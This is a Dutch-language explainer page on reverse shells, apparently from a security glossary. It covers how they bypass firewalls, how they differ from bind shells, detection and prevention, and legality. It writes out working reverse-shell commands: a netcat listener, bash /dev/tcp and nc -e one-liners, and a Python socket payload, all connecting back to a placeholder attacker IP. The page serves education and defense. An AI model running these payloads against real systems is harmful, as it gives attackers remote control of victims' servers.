Reverse Shell
TL;DR: Reverse Shell
Een reverse shell, ook wel een connect-back shell genoemd, is wanneer een gecompromitteerd systeem verbinding maakt met de aanvaller en hen een live command-line sessie geeft.
Waarom is dit belangrijk?
- Reverse shells kunnen firewalls omzeilen omdat de meeste firewalls inkomende verbindingen blokkeren maar uitgaande toestaan.
- Aanvallers krijgen echte controle omdat ze commando’s kunnen uitvoeren alsof ze direct zijn ingelogd.
- Reverse shells zijn zeer gebruikelijk omdat ze een standaard stap zijn nadat een aanvaller een systeem heeft geëxploiteerd.
Stel je het zo voor: in plaats van dat de aanvaller probeert binnen te komen, misleiden ze de server om contact met hen op te nemen.
Wat is een Reverse Shell?
Een reverse shell is een externe shell waarbij de computer van het slachtoffer de verbinding met de computer van de aanvaller start.
Normaal gesproken start je computer de verbinding, zoals wanneer je een website bezoekt. Bij een reverse shell is dit omgekeerd. Nadat de aanvaller een manier heeft gevonden om code uit te voeren, maakt de server verbinding terug met de aanvaller.
Een gemakkelijke manier om het te onthouden:
- Bind shell: Je probeert verbinding te maken met de server. Als een firewall je blokkeert, kun je er niet doorheen komen.
- Reverse shell: De server maakt verbinding met jou. Omdat uitgaande verbindingen meestal zijn toegestaan, kun je antwoorden en controle nemen.
Waarom Reverse Shells Belangrijk Zijn
Beveiligingsteams richten zich meestal op verdedigingen zoals firewalls, load balancers en het beperken van poorten. Deze werken totdat een aanvaller erin slaagt om code binnen het systeem uit te voeren.
Wanneer dat gebeurt, wordt de reverse shell de belangrijkste manier voor de aanvaller om binnen te blijven.
Waarom is dit gevaarlijk:
-
Uitgaand verkeer wordt vertrouwd.
Firewalls staan vaak uitgaand verkeer toe op poorten zoals 80 of 443 voor updates en API’s. Reverse shells kunnen zich verbergen in dit toegestane verkeer.
-
Aanvallers kunnen toegang behouden.
Zelfs als het oorspronkelijke beveiligingslek is verholpen, kan een actieve shell aanvallers nog steeds controle over het systeem geven.
-
Het maakt laterale beweging mogelijk.
Met een shell kunnen aanvallers rondkijken in het interne netwerk, wachtwoorden stelen en naar andere computers verplaatsen. Eén kwetsbaarheid kan snel leiden tot compromittering van de hele omgeving.
Hoe een Reverse Shell Werkt
Een reverse shell heeft twee hoofdonderdelen: de listener en de payload.
1. De Listener (Aanvallerzijde)
De aanvaller gebruikt een programma dat wacht op verbindingen. Netcat is een veelgebruikt hulpmiddel hiervoor.
nc -lvnp 4444
Dit commando vertelt de computer van de aanvaller om te luisteren op poort 4444 en te wachten op een verbinding.
2. De Payload (Slachtofferzijde)
Na het vinden van een kwetsbaarheid zoals Remote Code Execution, voert de aanvaller een commando uit op de server van het slachtoffer om een shell te openen en terug te sturen.
bash -i >& /dev/tcp/aanvaller-ip/4444 0>&1
Dit commando start een bash shell en stuurt alle invoer en uitvoer naar de computer van de aanvaller.
3. De Verbinding
De server van het slachtoffer start een uitgaande verbinding. De firewall ziet dit als normaal en staat het toe. De listener van de aanvaller accepteert de verbinding, waardoor de aanvaller een live shell op de server krijgt.
Op dit punt heeft de aanvaller volledige interactieve controle over de server.
Veelvoorkomende Reverse Shell Voorbeelden
Aanvallers en ethische hackers passen hun aanpak aan op basis van welke tools beschikbaar zijn op het doelsysteem.
Bash (Veelvoorkomend op Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Wordt gebruikt wanneer Netcat beschikbaar is op de doelmachine.
nc -e /bin/sh 10.0.0.1 4444
Python
Python is zeer gebruikelijk op moderne servers.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
Het kennen van het verschil tussen reverse shells en bind shells helpt bij het verdedigen van netwerken.
| Kenmerk | Bind Shell | Reverse Shell |
|---|---|---|
| Richting van de verbinding | Aanvaller naar Slachtoffer | Slachtoffer naar Aanvaller |
| Impact op firewall | Vaak geblokkeerd | Vaak toegestaan |
| Netwerkeisen | Directe toegang nodig | Werkt door NAT en firewalls |
| Typisch gebruik | Interne netwerken | Aanvallen in de echte wereld |
Wie Gebruikt Reverse Shells?
- Penetratietesters gebruiken reverse shells om aan te tonen dat een kwetsbaarheid kan leiden tot volledige systeemcompromis.
- Red teams gebruiken reverse shells om te testen hoe goed uitgaand verkeer wordt gecontroleerd.
- Kwaadaardige actoren gebruiken reverse shells om ransomware te implementeren, gegevens te stelen of verder in een netwerk te bewegen.
- Systeembeheerders gebruiken zelden reverse shells voor externe toegang. Ze geven meestal de voorkeur aan veilige SSH-tunnels.
Detectie en Preventie
Het stoppen van reverse shells vereist meerdere lagen van verdediging.
-
Uitgaand verkeersfiltering
Servers mogen geen open toegang tot het internet hebben. Beperk welke bestemmingen en poorten ze kunnen gebruiken.
-
Gedragsmonitoring
Een webserver die een shell-proces start, zoals /bin/bash of cmd.exe, is zeer verdacht.
-
Verminder het aanvalsvlak.
Verwijder ongebruikte tools zoals Netcat, compilers en extra interpreters van productiesystemen.
Gerelateerde termen
- Remote Code Execution (RCE)
- Bind Shell
FAQ: Reverse Shell
Is een reverse shell illegaal?
Reverse shells zijn legaal alleen als je ze gebruikt op systemen die je bezit of waar je duidelijke toestemming hebt om te testen. Het gebruik ervan zonder toestemming is illegaal.
Waarom laten firewalls reverse shells toe?
Firewalls zijn gebouwd om inkomende bedreigingen te blokkeren en vertrouwen meestal uitgaand verkeer. Reverse shells maken hier gebruik van.
Kan een antivirus reverse shells detecteren?
Soms. Antivirussoftware die gebruikmaakt van handtekeningen kan bekende shell-programma’s vinden, maar shell-loze shells gemaakt met Bash of Python zijn veel moeilijker te detecteren.
Wat is het verschil tussen een reverse shell en een webshell?
Een webshell wordt gebruikt via een browser en blijft meestal op het systeem, maar heeft beperkte functies. Een reverse shell biedt een live, interactieve command-line sessie.